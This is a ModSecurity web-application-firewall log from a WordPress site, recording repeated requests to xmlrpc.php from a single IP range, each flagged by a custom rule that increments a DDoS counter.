[Fri Dec 19 01:27:19.192323 2025] [:error] [pid 45738:tid 45776] [client 173.239.236.163:22357] [client 173.239.236.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5d3nw52b7ekJTIU3CyAAAAMg"]
[Fri Dec 19 01:27:21.149539 2025] [:error] [pid 37418:tid 37431] [client 173.239.236.250:22119] [client 173.239.236.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5ea0VAcRIm10OnozBOQAAAIs"]
[Fri Dec 19 01:27:23.093969 2025] [:error] [pid 37418:tid 37428] [client 173.239.236.121:32877] [client 173.239.236.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.121, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5e60VAcRIm10OnozBPAAAAIg"]
[Fri Dec 19 01:27:25.084639 2025] [:error] [pid 45737:tid 45742] [client 173.239.236.228:27469] [client 173.239.236.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5fVAGdb8SXm6CLHiVTwAAAAE"]
[Fri Dec 19 01:27:27.181923 2025] [:error] [pid 45825:tid 45838] [client 173.239.236.54:26771] [client 173.239.236.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5f9ES1ifyzuzFwz8dlwAAAEs"]
[Fri Dec 19 01:27:29.199361 2025] [:error] [pid 45737:tid 45755] [client 173.239.236.21:31971] [client 173.239.236.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5gVAGdb8SXm6CLHiVVQAAAA4"]
[Fri Dec 19 01:27:31.689331 2025] [:error] [pid 45739:tid 45805] [client 173.239.236.153:62421] [client 173.239.236.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5g-IfOvWlLwqW0X3qAgAAAQo"]
[Fri Dec 19 01:27:33.972736 2025] [:error] [pid 45739:tid 45819] [client 173.239.236.176:34245] [client 173.239.236.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5heIfOvWlLwqW0X3qBQAAARg"]
[Fri Dec 19 01:27:36.124194 2025] [:error] [pid 45738:tid 45779] [client 173.239.236.157:56557] [client 173.239.236.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.157, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5iHnw52b7ekJTIU3C3QAAAMs"]
[Fri Dec 19 01:27:38.840671 2025] [:error] [pid 45738:tid 45780] [client 173.239.236.61:55407] [client 173.239.236.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5innw52b7ekJTIU3C4gAAAMw"]
[Fri Dec 19 01:27:40.937415 2025] [:error] [pid 45738:tid 45776] [client 173.239.236.153:61609] [client 173.239.236.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5jHnw52b7ekJTIU3C5AAAAMg"]
[Fri Dec 19 01:27:42.946284 2025] [:error] [pid 45825:tid 45842] [client 173.239.236.142:44215] [client 173.239.236.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5jtES1ifyzuzFwz8duAAAAE8"]
[Fri Dec 19 01:27:44.880249 2025] [:error] [pid 45825:tid 45831] [client 173.239.236.129:20985] [client 173.239.236.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5kNES1ifyzuzFwz8dvQAAAEQ"]
[Fri Dec 19 01:27:47.015786 2025] [:error] [pid 45737:tid 45761] [client 173.239.236.130:20459] [client 173.239.236.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5k1AGdb8SXm6CLHiVZAAAABQ"]
[Fri Dec 19 01:27:49.060780 2025] [:error] [pid 45737:tid 45756] [client 173.239.236.228:59787] [client 173.239.236.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5lVAGdb8SXm6CLHiVagAAAA8"]
[Fri Dec 19 01:27:50.948894 2025] [:error] [pid 65011:tid 65068] [client 173.239.236.228:27989] [client 173.239.236.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.228, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5ltqlBhOfWMNHM-7EhQAAAVc"]
[Fri Dec 19 01:27:52.945878 2025] [:error] [pid 45739:tid 45801] [client 173.239.236.11:33845] [client 173.239.236.11] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.11, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5mOIfOvWlLwqW0X3qDwAAAQY"]
[Fri Dec 19 01:27:55.263051 2025] [:error] [pid 45825:tid 45845] [client 173.239.236.200:38209] [client 173.239.236.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.200, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5m9ES1ifyzuzFwz8d0QAAAFI"]
[Fri Dec 19 01:27:57.386418 2025] [:error] [pid 45738:tid 45770] [client 173.239.236.110:21587] [client 173.239.236.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5nXnw52b7ekJTIU3C_gAAAMI"]
[Fri Dec 19 01:27:59.506499 2025] [:error] [pid 65011:tid 65054] [client 173.239.236.70:27865] [client 173.239.236.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5n9qlBhOfWMNHM-7EkQAAAUk"]
[Fri Dec 19 01:28:03.207827 2025] [:error] [pid 65011:tid 65055] [client 173.239.236.53:34513] [client 173.239.236.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5o9qlBhOfWMNHM-7ElQAAAUo"]
[Fri Dec 19 01:28:05.697667 2025] [:error] [pid 45737:tid 45761] [client 173.239.236.153:46759] [client 173.239.236.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5pVAGdb8SXm6CLHiVjAAAABQ"]
[Fri Dec 19 01:28:07.840460 2025] [:error] [pid 45825:tid 45834] [client 173.239.236.132:25387] [client 173.239.236.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5p9ES1ifyzuzFwz8d4gAAAEc"]
[Fri Dec 19 01:28:10.135211 2025] [:error] [pid 45737:tid 45746] [client 173.239.236.116:64279] [client 173.239.236.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5qlAGdb8SXm6CLHiVmQAAAAU"]
[Fri Dec 19 01:28:12.343301 2025] [:error] [pid 45825:tid 45851] [client 173.239.236.110:39243] [client 173.239.236.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5rNES1ifyzuzFwz8d7wAAAFg"]
[Fri Dec 19 01:28:14.344749 2025] [:error] [pid 45739:tid 45803] [client 173.239.236.163:36497] [client 173.239.236.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5ruIfOvWlLwqW0X3qMgAAAQg"]
[Fri Dec 19 01:28:16.352762 2025] [:error] [pid 45825:tid 45843] [client 173.239.236.5:45583] [client 173.239.236.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5sNES1ifyzuzFwz8d9QAAAFA"]
[Fri Dec 19 01:28:18.315323 2025] [:error] [pid 45825:tid 45839] [client 173.239.236.142:54475] [client 173.239.236.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5stES1ifyzuzFwz8d-gAAAEw"]
[Fri Dec 19 01:28:20.163180 2025] [:error] [pid 37418:tid 37424] [client 173.239.236.250:24267] [client 173.239.236.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5tK0VAcRIm10OnozBegAAAIQ"]
[Fri Dec 19 01:28:22.364867 2025] [:error] [pid 45739:tid 45815] [client 173.239.236.176:55793] [client 173.239.236.176] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.176, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5tuIfOvWlLwqW0X3qNwAAARQ"]
[Fri Dec 19 01:28:24.247362 2025] [:error] [pid 45739:tid 45799] [client 173.239.236.118:27955] [client 173.239.236.118] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.118, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5uOIfOvWlLwqW0X3qOAAAAQQ"]
[Fri Dec 19 01:28:26.415045 2025] [:error] [pid 45737:tid 45763] [client 173.239.236.70:22035] [client 173.239.236.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5ulAGdb8SXm6CLHiVqQAAABY"]
[Fri Dec 19 01:28:28.331436 2025] [:error] [pid 37418:tid 37427] [client 173.239.236.142:41799] [client 173.239.236.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5vK0VAcRIm10OnozBfgAAAIc"]
[Fri Dec 19 01:28:30.359357 2025] [:error] [pid 65011:tid 65069] [client 173.239.236.149:49053] [client 173.239.236.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5vtqlBhOfWMNHM-7E0QAAAVg"]
[Fri Dec 19 01:28:32.508073 2025] [:error] [pid 45737:tid 45750] [client 173.239.236.76:53721] [client 173.239.236.76] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.76, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5wFAGdb8SXm6CLHiVswAAAAk"]
[Fri Dec 19 01:28:34.797781 2025] [:error] [pid 45739:tid 45819] [client 173.239.236.1:35493] [client 173.239.236.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5wuIfOvWlLwqW0X3qQAAAARg"]
[Fri Dec 19 01:28:36.889033 2025] [:error] [pid 45737:tid 45760] [client 173.239.236.153:64699] [client 173.239.236.153] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.153, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5xFAGdb8SXm6CLHiVvgAAABM"]
[Fri Dec 19 01:28:38.914565 2025] [:error] [pid 45739:tid 45802] [client 173.239.236.132:62839] [client 173.239.236.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5xuIfOvWlLwqW0X3qQwAAAQc"]
[Fri Dec 19 01:28:41.603035 2025] [:error] [pid 45825:tid 45846] [client 173.239.236.132:24451] [client 173.239.236.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5ydES1ifyzuzFwz8eCgAAAFM"]
[Fri Dec 19 01:28:43.847652 2025] [:error] [pid 45737:tid 45743] [client 173.239.236.250:23521] [client 173.239.236.250] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.250, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5y1AGdb8SXm6CLHiVwQAAAAI"]
[Fri Dec 19 01:28:46.032068 2025] [:error] [pid 45825:tid 45833] [client 173.239.236.94:49619] [client 173.239.236.94] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.94, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ5ztES1ifyzuzFwz8eEgAAAEY"]
[Fri Dec 19 01:28:48.074360 2025] [:error] [pid 45739:tid 45809] [client 173.239.236.211:65115] [client 173.239.236.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.211, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ50OIfOvWlLwqW0X3qSQAAAQ4"]
[Fri Dec 19 01:28:50.085609 2025] [:error] [pid 45825:tid 45850] [client 173.239.236.231:48613] [client 173.239.236.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.231, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ50tES1ifyzuzFwz8eGgAAAFc"]
[Fri Dec 19 01:28:51.893652 2025] [:error] [pid 45738:tid 45772] [client 173.239.236.181:27529] [client 173.239.236.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.181, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ503nw52b7ekJTIU3DNwAAAMQ"]
[Fri Dec 19 01:28:54.021438 2025] [:error] [pid 45825:tid 45840] [client 173.239.236.21:44513] [client 173.239.236.21] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.21, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ51tES1ifyzuzFwz8eIAAAAE0"]
[Fri Dec 19 01:28:56.095285 2025] [:error] [pid 45825:tid 45851] [client 173.239.236.223:35149] [client 173.239.236.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ52NES1ifyzuzFwz8eJQAAAFg"]
[Fri Dec 19 01:28:57.973791 2025] [:error] [pid 45738:tid 45777] [client 173.239.236.1:51689] [client 173.239.236.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ52Xnw52b7ekJTIU3DOwAAAMk"]
[Fri Dec 19 01:28:59.872933 2025] [:error] [pid 65011:tid 65068] [client 173.239.236.5:58051] [client 173.239.236.5] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.5, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ529qlBhOfWMNHM-7E5AAAAVc"]
[Fri Dec 19 01:29:01.764157 2025] [:error] [pid 45739:tid 45806] [client 173.239.236.54:23157] [client 173.239.236.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ53eIfOvWlLwqW0X3qVwAAAQs"]
[Fri Dec 19 01:29:03.814007 2025] [:error] [pid 45825:tid 45829] [client 173.239.236.54:28585] [client 173.239.236.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.54, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ539ES1ifyzuzFwz8eMwAAAEI"]
[Fri Dec 19 01:29:05.858981 2025] [:error] [pid 65011:tid 65051] [client 173.239.236.110:46675] [client 173.239.236.110] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.110, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ54dqlBhOfWMNHM-7E8QAAAUY"]
[Fri Dec 19 01:29:07.871709 2025] [:error] [pid 45738:tid 45772] [client 173.239.236.224:23845] [client 173.239.236.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.224, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ543nw52b7ekJTIU3DRQAAAMQ"]
[Fri Dec 19 01:29:09.875434 2025] [:error] [pid 45825:tid 45838] [client 173.239.236.98:64541] [client 173.239.236.98] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.98, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ55dES1ifyzuzFwz8eSAAAAEs"]
[Fri Dec 19 01:29:11.751856 2025] [:error] [pid 45738:tid 45779] [client 173.239.236.171:25919] [client 173.239.236.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.171, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ553nw52b7ekJTIU3DSQAAAMs"]
[Fri Dec 19 01:29:13.604333 2025] [:error] [pid 37418:tid 37432] [client 173.239.236.53:47861] [client 173.239.236.53] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.53, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ56a0VAcRIm10OnozBkwAAAIw"]
[Fri Dec 19 01:29:15.509775 2025] [:error] [pid 65011:tid 65054] [client 173.239.236.116:46581] [client 173.239.236.116] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.116, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ569qlBhOfWMNHM-7FBQAAAUk"]
[Fri Dec 19 01:29:17.392155 2025] [:error] [pid 45739:tid 45807] [client 173.239.236.70:60923] [client 173.239.236.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.239.236.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aUQ57eIfOvWlLwqW0X3qZwAAAQw"]
